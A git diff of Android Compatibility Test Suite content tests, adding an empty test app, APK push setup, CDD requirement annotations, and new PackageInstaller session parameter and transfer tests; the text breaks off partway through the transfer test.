<uses-permission android:name="android.permission.WRITE_SETTINGS" />
<uses-permission android:name="android.permission.SET_WALLPAPER" />
<uses-permission android:name="android.permission.BROADCAST_STICKY" />
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.content.cts.permission.TEST_GRANTED" />
<!-- Used for PackageManager test, don't delete this INTERNET permission -->
diff --git a/tests/tests/content/AndroidTest.xml b/tests/tests/content/AndroidTest.xml
index d16f992..5cab0ac 100644
--- a/tests/tests/content/AndroidTest.xml
+++ b/tests/tests/content/AndroidTest.xml
@@ -14,11 +14,25 @@
limitations under the License.
-->
<configuration description="Config for CTS Content test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="framework" />
+
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="mkdir -p /data/local/tmp/cts/content" />
+ <option name="teardown-command" value="rm -rf /data/local/tmp/cts"/>
+ </target_preparer>
+
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="cleanup" value="true" />
+ <option name="push" value="CtsContentTestCases.apk->/data/local/tmp/cts/content/CtsContentTestCases.apk" />
+ <option name="push" value="CtsContentEmptyTestApp.apk->/data/local/tmp/cts/content/CtsContentEmptyTestApp.apk" />
+ </target_preparer>
+
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsContentTestCases.apk" />
</target_preparer>
+
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.content.cts" />
<option name="runtime-hint" value="21m30s" />
diff --git a/tests/tests/content/emptytestapp/Android.mk b/tests/tests/content/emptytestapp/Android.mk
new file mode 100644
index 0000000..ea4d35a
--- /dev/null
+++ b/tests/tests/content/emptytestapp/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsContentEmptyTestApp
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/content/emptytestapp/AndroidManifest.xml b/tests/tests/content/emptytestapp/AndroidManifest.xml
new file mode 100644
index 0000000..88bc06c
--- /dev/null
+++ b/tests/tests/content/emptytestapp/AndroidManifest.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.content.cts.emptytestapp" >
+ <application android:hasCode="false" android:label="Empty Test App" />
+</manifest>
diff --git a/tests/tests/content/res/drawable/drawable_recursive.xml b/tests/tests/content/res/drawable/drawable_recursive.xml
new file mode 100644
index 0000000..ea9f969
--- /dev/null
+++ b/tests/tests/content/res/drawable/drawable_recursive.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
+ <background>
+ <solid android:color="#ffffff" />
+ </background>
+ <foreground android:drawable="@drawable/drawable_recursive" />
+</adaptive-icon>
diff --git a/tests/tests/content/res/values-v27/strings.xml b/tests/tests/content/res/values-v27/strings.xml
new file mode 100644
index 0000000..369c92a
--- /dev/null
+++ b/tests/tests/content/res/values-v27/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+ <string name="version_cur">v27cur</string>
+</resources>
diff --git a/tests/tests/content/res/values-v28/strings.xml b/tests/tests/content/res/values-v28/strings.xml
new file mode 100644
index 0000000..fa633dc03
--- /dev/null
+++ b/tests/tests/content/res/values-v28/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+ <string name="version_cur">v28cur</string>
+</resources>
diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index e34aa6e..d4d3501 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -32,6 +32,9 @@
import android.telecom.TelecomManager;
import android.test.AndroidTestCase;
+import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.FeatureUtil;
+
import java.util.List;
public class AvailableIntentsTest extends AndroidTestCase {
@@ -71,6 +74,7 @@
* Test ACTION_VIEW when url is http://web_address,
* it will open a browser window to the URL specified.
*/
+ @CddTest(requirement="3.2.3.1/C-0-1")
public void testViewNormalUrl() {
Uri uri = Uri.parse(NORMAL_URL);
Intent intent = new Intent(Intent.ACTION_VIEW, uri);
@@ -81,6 +85,7 @@
* Test ACTION_VIEW when url is https://web_address,
* it will open a browser window to the URL specified.
*/
+ @CddTest(requirement="3.2.3.1/C-0-1")
public void testViewSecureUrl() {
Uri uri = Uri.parse(SECURE_URL);
Intent intent = new Intent(Intent.ACTION_VIEW, uri);
@@ -91,6 +96,7 @@
* Test ACTION_WEB_SEARCH when url is http://web_address,
* it will open a browser window to the URL specified.
*/
+ @CddTest(requirement="3.2.3.1/C-0-1")
public void testWebSearchNormalUrl() {
Uri uri = Uri.parse(NORMAL_URL);
Intent intent = new Intent(Intent.ACTION_WEB_SEARCH);
@@ -102,6 +108,7 @@
* Test ACTION_WEB_SEARCH when url is https://web_address,
* it will open a browser window to the URL specified.
*/
+ @CddTest(requirement="3.2.3.1/C-0-1")
public void testWebSearchSecureUrl() {
Uri uri = Uri.parse(SECURE_URL);
Intent intent = new Intent(Intent.ACTION_WEB_SEARCH);
@@ -159,6 +166,7 @@
/**
* Test ACTION_CHANGE_PHONE_ACCOUNTS, it will display the phone account preferences.
*/
+ @CddTest(requirement="3.2.3.5/C-2-3")
public void testChangePhoneAccounts() {
PackageManager packageManager = mContext.getPackageManager();
if (packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
@@ -181,6 +189,7 @@
/**
* Test ACTION_SHOW_CALL_SETTINGS, it will display the call preferences.
*/
+ @CddTest(requirement="3.2.3.1/C-0-1")
public void testShowCallSettings() {
PackageManager packageManager = mContext.getPackageManager();
if (packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
@@ -192,6 +201,7 @@
/**
* Test ACTION_SHOW_RESPOND_VIA_SMS_SETTINGS, it will display the respond by SMS preferences.
*/
+ @CddTest(requirement="3.2.3.1/C-0-1")
public void testShowRespondViaSmsSettings() {
PackageManager packageManager = mContext.getPackageManager();
if (packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
@@ -203,6 +213,7 @@
/**
* Test start camera by intent
*/
+ @CddTest(requirement="3.2.3.1/C-0-1")
public void testCamera() {
PackageManager packageManager = mContext.getPackageManager();
if (packageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA)
@@ -221,6 +232,7 @@
}
}
+ @CddTest(requirement="3.2.3.1/C-0-1")
public void testSettings() {
assertCanBeHandled(new Intent(Settings.ACTION_SETTINGS));
}
@@ -228,6 +240,7 @@
/**
* Test add event in calendar
*/
+ @CddTest(requirement="3.2.3.1/C-0-1")
public void testCalendarAddAppointment() {
Intent addAppointmentIntent = new Intent(Intent.ACTION_EDIT);
addAppointmentIntent.setType("vnd.android.cursor.item/event");
@@ -237,6 +250,7 @@
/**
* Test view call logs
*/
+ @CddTest(requirement="3.2.3.1/C-0-1")
public void testContactsCallLogs() {
PackageManager packageManager = mContext.getPackageManager();
if (packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
@@ -249,6 +263,7 @@
/**
* Test view music playback
*/
+ @CddTest(requirement="3.2.3.1/C-0-1")
public void testMusicPlayback() {
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setDataAndType(ContentUris.withAppendedId(
@@ -256,6 +271,7 @@
assertCanBeHandled(intent);
}
+ @CddTest(requirement="3.2.3.1/C-0-1")
public void testAlarmClockSetAlarm() {
Intent intent = new Intent(AlarmClock.ACTION_SET_ALARM);
intent.putExtra(AlarmClock.EXTRA_MESSAGE, "Custom message");
@@ -264,17 +280,20 @@
assertCanBeHandled(intent);
}
+ @CddTest(requirement="3.2.3.1/C-0-1")
public void testAlarmClockSetTimer() {
Intent intent = new Intent(AlarmClock.ACTION_SET_TIMER);
intent.putExtra(AlarmClock.EXTRA_LENGTH, 60000);
assertCanBeHandled(intent);
}
+ @CddTest(requirement="3.2.3.1/C-0-1")
public void testAlarmClockShowAlarms() {
Intent intent = new Intent(AlarmClock.ACTION_SHOW_ALARMS);
assertCanBeHandled(intent);
}
+ @CddTest(requirement="3.2.3.1/C-0-1")
public void testAlarmClockShowTimers() {
if (mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY)) {
return;
@@ -329,22 +348,20 @@
public void testManageStorage() {
assertCanBeHandled(new Intent(StorageManager.ACTION_MANAGE_STORAGE));
}
-
- public void testVoiceCommand() {
- PackageManager packageManager = mContext.getPackageManager();
- if (packageManager.hasSystemFeature(PackageManager.FEATURE_MICROPHONE)) {
- Intent intent = new Intent(Intent.ACTION_VOICE_COMMAND);
- assertCanBeHandled(intent);
- assertDefaultHandlerValidPriority(intent);
+
+ public void testPowerUsageSummarySettings() {
+ if (isHandheld()) {
+ assertCanBeHandled(new Intent(Intent.ACTION_POWER_USAGE_SUMMARY));
}
}
- public void testVoiceSearchHandsFree() {
- PackageManager packageManager = mContext.getPackageManager();
- if (packageManager.hasSystemFeature(PackageManager.FEATURE_MICROPHONE)) {
- Intent intent = new Intent(RecognizerIntent.ACTION_VOICE_SEARCH_HANDS_FREE);
- assertCanBeHandled(intent);
- assertDefaultHandlerValidPriority(intent);
- }
+ private boolean isHandheld() {
+ // handheld nature is not exposed to package manager, for now
+ // we check for touchscreen and NOT watch, NOT tv and NOT car
+ PackageManager pm = getContext().getPackageManager();
+ return pm.hasSystemFeature(pm.FEATURE_TOUCHSCREEN)
+ && !pm.hasSystemFeature(pm.FEATURE_WATCH)
+ && !pm.hasSystemFeature(pm.FEATURE_TELEVISION)
+ && !pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE);
}
}
diff --git a/tests/tests/content/src/android/content/cts/ContentProviderTest.java b/tests/tests/content/src/android/content/cts/ContentProviderTest.java
index dc4a031..95f4611 100644
--- a/tests/tests/content/src/android/content/cts/ContentProviderTest.java
+++ b/tests/tests/content/src/android/content/cts/ContentProviderTest.java
@@ -29,6 +29,8 @@
import android.content.cts.R;
+import com.android.compatibility.common.util.CddTest;
+
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;
@@ -36,6 +38,7 @@
/**
* Test {@link ContentProvider}.
*/
+@CddTest(requirement="3.5/C-0-2")
public class ContentProviderTest extends AndroidTestCase {
private static final String TEST_PACKAGE_NAME = "android.content.cts";
private static final String TEST_FILE_NAME = "testFile.tmp";
diff --git a/tests/tests/content/src/android/content/cts/ContextWrapperTest.java b/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
index 5f48260..1180077 100644
--- a/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
+++ b/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
@@ -360,7 +360,6 @@
// Test databaseList()
List<String> list = Arrays.asList(mContextWrapper.databaseList());
- assertEquals(4, list.size()); // Each database has a journal
assertTrue("1) database list: " + list, list.contains(DATABASE_NAME1));
assertTrue("2) database list: " + list, list.contains(DATABASE_NAME2));
diff --git a/tests/tests/content/src/android/content/cts/IntentTest.java b/tests/tests/content/src/android/content/cts/IntentTest.java
index dbbbe15..cadb13c 100644
--- a/tests/tests/content/src/android/content/cts/IntentTest.java
+++ b/tests/tests/content/src/android/content/cts/IntentTest.java
@@ -39,6 +39,7 @@
import android.util.Xml;
import com.android.content.cts.DummyParcelable;
+import com.android.compatibility.common.util.CddTest;
import java.io.IOException;
import java.io.Serializable;
@@ -47,6 +48,7 @@
import java.util.Objects;
import java.util.Set;
+@CddTest(requirement="3.5/C-0-1")
public class IntentTest extends AndroidTestCase {
private Intent mIntent;
diff --git a/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java b/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java
new file mode 100644
index 0000000..d978b70
--- /dev/null
+++ b/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java
@@ -0,0 +1,303 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.pm.cts;
+
+import static android.content.pm.PackageInfo.INSTALL_LOCATION_AUTO;
+import static android.content.pm.PackageInfo.INSTALL_LOCATION_INTERNAL_ONLY;
+import static android.content.pm.PackageInfo.INSTALL_LOCATION_PREFER_EXTERNAL;
+import static android.content.pm.PackageInfo.INSTALL_LOCATION_UNSPECIFIED;
+import static android.content.pm.PackageInstaller.SessionParams.MODE_FULL_INSTALL;
+import static android.content.pm.PackageInstaller.SessionParams.MODE_INHERIT_EXISTING;
+import static android.content.pm.PackageManager.INSTALL_REASON_DEVICE_RESTORE;
+import static android.content.pm.PackageManager.INSTALL_REASON_DEVICE_SETUP;
+import static android.content.pm.PackageManager.INSTALL_REASON_POLICY;
+import static android.content.pm.PackageManager.INSTALL_REASON_UNKNOWN;
+import static android.content.pm.PackageManager.INSTALL_REASON_USER;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageInstaller.SessionInfo;
+import android.content.pm.PackageInstaller.SessionParams;
+import android.graphics.Bitmap;
+import android.net.Uri;
+import android.support.test.InstrumentationRegistry;
+import android.util.Log;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+import java.util.function.Consumer;
+
+@RunWith(Parameterized.class)
+public class InstallSessionParamsUnitTest {
+ private static final String LOG_TAG = InstallSessionParamsUnitTest.class.getSimpleName();
+ private static Optional UNSET = new Optional(false, null);
+
+ @Parameterized.Parameter(0)
+ public Optional<Integer> mode;
+ @Parameterized.Parameter(1)
+ public Optional<Integer> installLocation;
+ @Parameterized.Parameter(2)
+ public Optional<Integer> size;
+ @Parameterized.Parameter(3)
+ public Optional<String> appPackageName;
+ @Parameterized.Parameter(4)
+ public Optional<Bitmap> appIcon;
+ @Parameterized.Parameter(5)
+ public Optional<String> appLabel;
+ @Parameterized.Parameter(6)
+ public Optional<Uri> originatingUri;
+ @Parameterized.Parameter(7)
+ public Optional<Integer> originatingUid;
+ @Parameterized.Parameter(8)
+ public Optional<Uri> referredUri;
+ @Parameterized.Parameter(9)
+ public Optional<Integer> installReason;
+ @Parameterized.Parameter(10)
+ public boolean expectFailure;
+
+ /**
+ * Generate test-parameters where all params are the same, but one param cycles through all
+ * values.
+ */
+ private static ArrayList<Object[]> getSingleParameterChangingTests(
+ Object[][][] allParameterValues, int changingParameterIndex,
+ Object[] changingParameterValues, boolean expectFailure) {
+ ArrayList<Object[]> params = new ArrayList<>();
+
+ for (Object changingParameterValue : changingParameterValues) {
+ ArrayList<Object> singleTestParams = new ArrayList<>();
+
+ // parameterIndex is the index of the parameter (0 = mode, ...)
+ for (int parameterIndex = 0; parameterIndex < allParameterValues.length;
+ parameterIndex++) {
+ Object[][] parameterValues = allParameterValues[parameterIndex];
+
+ if (parameterIndex == changingParameterIndex) {
+ if (changingParameterValue == UNSET) {
+ // No need to wrap UNSET again
+ singleTestParams.add(UNSET);
+ } else {
+ singleTestParams.add(Optional.of(changingParameterValue));
+ }
+ } else {
+ singleTestParams.add(Optional.of(parameterValues[0][0]));
+ }
+ }
+ singleTestParams.add(expectFailure);
+ params.add(singleTestParams.toArray());
+ }
+
+ return params;
+ }
+
+ /**
+ * Generate test-parameters for all tests.
+ */
+ @Parameterized.Parameters
+ public static Collection<Object[]> getParameters() {
+ // {{{valid parameters}, {invalid parameters}}}
+ Object[][][] allParameterValues = {
+ /*mode*/
+ {{MODE_FULL_INSTALL, MODE_INHERIT_EXISTING}, {0xfff}},
+ /*installLocation*/
+ {{INSTALL_LOCATION_UNSPECIFIED, INSTALL_LOCATION_AUTO,
+ INSTALL_LOCATION_INTERNAL_ONLY, INSTALL_LOCATION_PREFER_EXTERNAL,
+ /* parame is not verified */ 0xfff}, {}},
+ /*size*/
+ {{1, 8092, Integer.MAX_VALUE, /* parame is not verified */ -1, 0}, {}},
+ /*appPackageName*/
+ {{"a.package.name", null, /* param is not verified */ "android"}, {}},
+ /*appIcon*/
+ {{null, Bitmap.createBitmap(42, 42, Bitmap.Config.ARGB_8888)}, {}},
+ /*appLabel*/
+ {{"A label", null}, {}},
+ /*originatingUri*/
+ {{Uri.parse("android.com"), null}, {}},
+ /*originatingUid*/
+ {{-1, 0, 1}, {}},
+ /*referredUri*/
+ {{Uri.parse("android.com"), null}, {}},
+ /*installReason*/
+ {{INSTALL_REASON_UNKNOWN, INSTALL_REASON_POLICY, INSTALL_REASON_DEVICE_RESTORE,
+ INSTALL_REASON_DEVICE_SETUP, INSTALL_REASON_USER,
+ /* parame is not verified */ 0xfff}, {}}};
+
+ ArrayList<Object[]> allTestParams = new ArrayList<>();
+
+ // changingParameterIndex is the index the parameter that changes (0 = mode ...)
+ for (int changingParameterIndex = 0; changingParameterIndex < allParameterValues.length;
+ changingParameterIndex++) {
+ // Allowed values
+ allTestParams.addAll(getSingleParameterChangingTests(allParameterValues,
+ changingParameterIndex, allParameterValues[changingParameterIndex][0], false));
+
+ // Value unset (mode param cannot be unset)
+ if (changingParameterIndex != 0) {
+ Object[] unset = {UNSET};
+ allTestParams.addAll(getSingleParameterChangingTests(allParameterValues,
+ changingParameterIndex, unset, false));
+ }
+
+ // Illegal values
+ allTestParams.addAll(getSingleParameterChangingTests(allParameterValues,
+ changingParameterIndex, allParameterValues[changingParameterIndex][1], true));
+ }
+
+ return allTestParams;
+ }
+
+ /**
+ * Get the sessionInfo if this package owns the session.
+ *
+ * @param sessionId The id of the session
+ *
+ * @return The {@link PackageInstaller.SessionInfo} object, or {@code null} if session is not
+ * owned by the this package.
+ */
+ private SessionInfo getSessionInfo(int sessionId) {
+ Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ PackageInstaller installer = context.getPackageManager().getPackageInstaller();
+ List<SessionInfo> mySessionInfos = installer.getMySessions();
+
+ for (SessionInfo sessionInfo : mySessionInfos) {
+ if (sessionInfo.sessionId == sessionId) {
+ return sessionInfo;
+ }
+ }
+
+ return null;
+ }
+
+ /**
+ * Create a new installer session.
+ *
+ * @return The new session
+ */
+ private int createSession(SessionParams params) throws Exception {
+ Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ PackageInstaller installer = context.getPackageManager().getPackageInstaller();
+
+ return installer.createSession(params);
+ }
+
+ @Test
+ public void checkSessionParams() throws Exception {
+ Log.i(LOG_TAG, "mode=" + mode + " installLocation=" + installLocation + " size=" + size
+ + " appPackageName=" + appPackageName + " appIcon=" + appIcon + " appLabel="
+ + appLabel + " originatingUri=" + originatingUri + " originatingUid="
+ + originatingUid + " referredUri=" + referredUri + " installReason=" + installReason
+ + " expectFailure=" + expectFailure);
+
+ SessionParams params = new SessionParams(mode.get());
+ installLocation.ifPresent(params::setInstallLocation);
+ size.ifPresent(params::setSize);
+ appPackageName.ifPresent(params::setAppPackageName);
+ appIcon.ifPresent(params::setAppIcon);
+ appLabel.ifPresent(params::setAppLabel);
+ originatingUri.ifPresent(params::setOriginatingUri);
+ originatingUid.ifPresent(params::setOriginatingUid);
+ referredUri.ifPresent(params::setReferrerUri);
+ installReason.ifPresent(params::setInstallReason);
+
+ int sessionId;
+ try {
+ sessionId = createSession(params);
+
+ if (expectFailure) {
+ fail("Creating session did not fail");
+ }
+ } catch (Exception e) {
+ if (expectFailure) {
+ return;
+ }
+
+ throw e;
+ }
+
+ SessionInfo info = getSessionInfo(sessionId);
+
+ assertThat(info.getMode()).isEqualTo(mode.get());
+ installLocation.ifPresent(i -> assertThat(info.getInstallLocation()).isEqualTo(i));
+ size.ifPresent(i -> assertThat(info.getSize()).isEqualTo(i));
+ appPackageName.ifPresent(s -> assertThat(info.getAppPackageName()).isEqualTo(s));
+
+ if (appIcon.isPresent()) {
+ if (appIcon.get() == null) {
+ assertThat(info.getAppIcon()).isNull();
+ } else {
+ assertThat(appIcon.get().sameAs(info.getAppIcon())).isTrue();
+ }
+ }
+
+ appLabel.ifPresent(s -> assertThat(info.getAppLabel()).isEqualTo(s));
+ originatingUri.ifPresent(uri -> assertThat(info.getOriginatingUri()).isEqualTo(uri));
+ originatingUid.ifPresent(i -> assertThat(info.getOriginatingUid()).isEqualTo(i));
+ referredUri.ifPresent(uri -> assertThat(info.getReferrerUri()).isEqualTo(uri));
+ installReason.ifPresent(i -> assertThat(info.getInstallReason()).isEqualTo(i));
+ }
+
+ /** Similar to java.util.Optional but distinguishing between null and unset */
+ private static class Optional<T> {
+ private final boolean mIsSet;
+ private final T mValue;
+
+ Optional(boolean isSet, T value) {
+ mIsSet = isSet;
+ mValue = value;
+ }
+
+ static <T> Optional of(T value) {
+ return new Optional(true, value);
+ }
+
+ T get() {
+ if (!mIsSet) {
+ throw new IllegalStateException(this + " is not set");
+ }
+ return mValue;
+ }
+
+ public String toString() {
+ if (!mIsSet) {
+ return "unset";
+ } else if (mValue == null) {
+ return "null";
+ } else {
+ return mValue.toString();
+ }
+ }
+
+ boolean isPresent() {
+ return mIsSet;
+ }
+
+ void ifPresent(Consumer<T> consumer) {
+ if (mIsSet) {
+ consumer.accept(mValue);
+ }
+ }
+ }
+}
diff --git a/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java b/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java
new file mode 100644
index 0000000..dd45668
--- /dev/null
+++ b/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java
@@ -0,0 +1,269 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.pm.cts;
+
+import static android.content.pm.PackageInstaller.SessionParams.MODE_FULL_INSTALL;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNotNull;
+
+import android.annotation.NonNull;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageInstaller.Session;
+import android.content.pm.PackageInstaller.SessionInfo;
+import android.content.pm.PackageInstaller.SessionParams;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.net.Uri;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import libcore.io.Streams;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class InstallSessionTransferTest {
+ /**
+ * Get the sessionInfo if this package owns the session.
+ *
+ * @param sessionId The id of the session
+ *
+ * @return The {@link PackageInstaller.SessionInfo} object, or {@code null} if session is not
+ * owned by the this package.
+ */
+ private SessionInfo getSessionInfo(@NonNull PackageInstaller installer,
+ int sessionId) {
+ List<SessionInfo> mySessionInfos = installer.getMySessions();
+
+ for (SessionInfo sessionInfo : mySessionInfos) {
+ if (sessionInfo.sessionId == sessionId) {
+ return sessionInfo;
+ }
+ }
+
+ return null;
+ }
+
+ /**
+ * Get name of the package installer.
+ *
+ * @return The package name of the package installer
+ */
+ private static String getPackageInstallerPackageName() throws Exception {
+ Intent installerIntent = new Intent(Intent.ACTION_INSTALL_PACKAGE);
+ installerIntent.setDataAndType(Uri.fromFile(new File("foo.apk")),
+ "application/vnd.android.package-archive");
+
+ ResolveInfo installer = InstrumentationRegistry.getInstrumentation().getTargetContext()
+ .getPackageManager().resolveActivity(installerIntent,
+ PackageManager.MATCH_DEFAULT_ONLY);
+
+ if (installer != null) {
+ return installer.activityInfo.packageName;
+ }
+
+ return null;
+ }
+
+ /**
+ * Write an APK to the session.
+ *
+ * @param session The session to write to
+ * @param name The name of the apk to write
+ */
+ private void writeApk(@NonNull Session session, @NonNull String name) throws IOException {
+ try (InputStream in = new FileInputStream("/data/local/tmp/cts/content/" + name + ".apk")) {
+ try (OutputStream out = session.openWrite(name, 0, -1)) {
+ Streams.copy(in, out);
+ }
+ }
+ }
+
+ /**
+ * Create a new installer session.
+ *
+ * @return The new session
+ */
+ private Session createSession() throws Exception {
+ Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+
+ PackageInstaller installer = context.getPackageManager().getPackageInstaller();
+
+ SessionParams params = new SessionParams(MODE_FULL_INSTALL);
+ int sessionId = installer.createSession(params);
+ return installer.openSession(sessionId);
+ }
+
+ @Test
+ public void transferSession() throws Exception {
+ Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+
+ String packageInstallerPackage = getPackageInstallerPackageName();
+ assumeNotNull(packageInstallerPackage);
+
+ PackageInstaller installer = context.getPackageManager().getPackageInstaller();
+
+ SessionParams params = new SessionParams(MODE_FULL_INSTALL);
+ int sessionId = installer.createSession(params);
+ Session session = installer.openSession(sessionId);
+
+ writeApk(session, "CtsContentTestCases");
+
+ InputStream danglingReadStream = session.openRead("CtsContentTestCases");
+
+ SessionInfo info = getSessionInfo(installer, sessionId);
+ assertThat(info.getInstallerPackageName()).isEqualTo(context.getPackageName());
+ assertThat(info.isSealed()).isFalse();
+
+ // This transfers the session to the new owner
+ session.transfer(packageInstallerPackage);
+ assertThat(getSessionInfo(installer, sessionId)).isNull();
+
+ try {
+ // Session is transferred, all operations on the session are invalid
+ session.getNames();
+ fail();
+ } catch (SecurityException e) {
+ // expected
+ }
+
+ // Even when the session is transferred read streams still work and contain the same content
+ // that we initially wrote into it.
+ try (InputStream originalContent = new FileInputStream(
+ "/data/local/tmp/cts/content/CtsContentTestCases.apk")) {
+ try (InputStream sessionContent = danglingReadStream) {
+ byte[] buffer = new byte[4096];
+ while (true) {
+ int numReadOriginal = originalContent.read(buffer);
+ int numReadSession = sessionContent.read(buffer);
+
+ assertThat(numReadOriginal).isEqualTo(numReadSession);
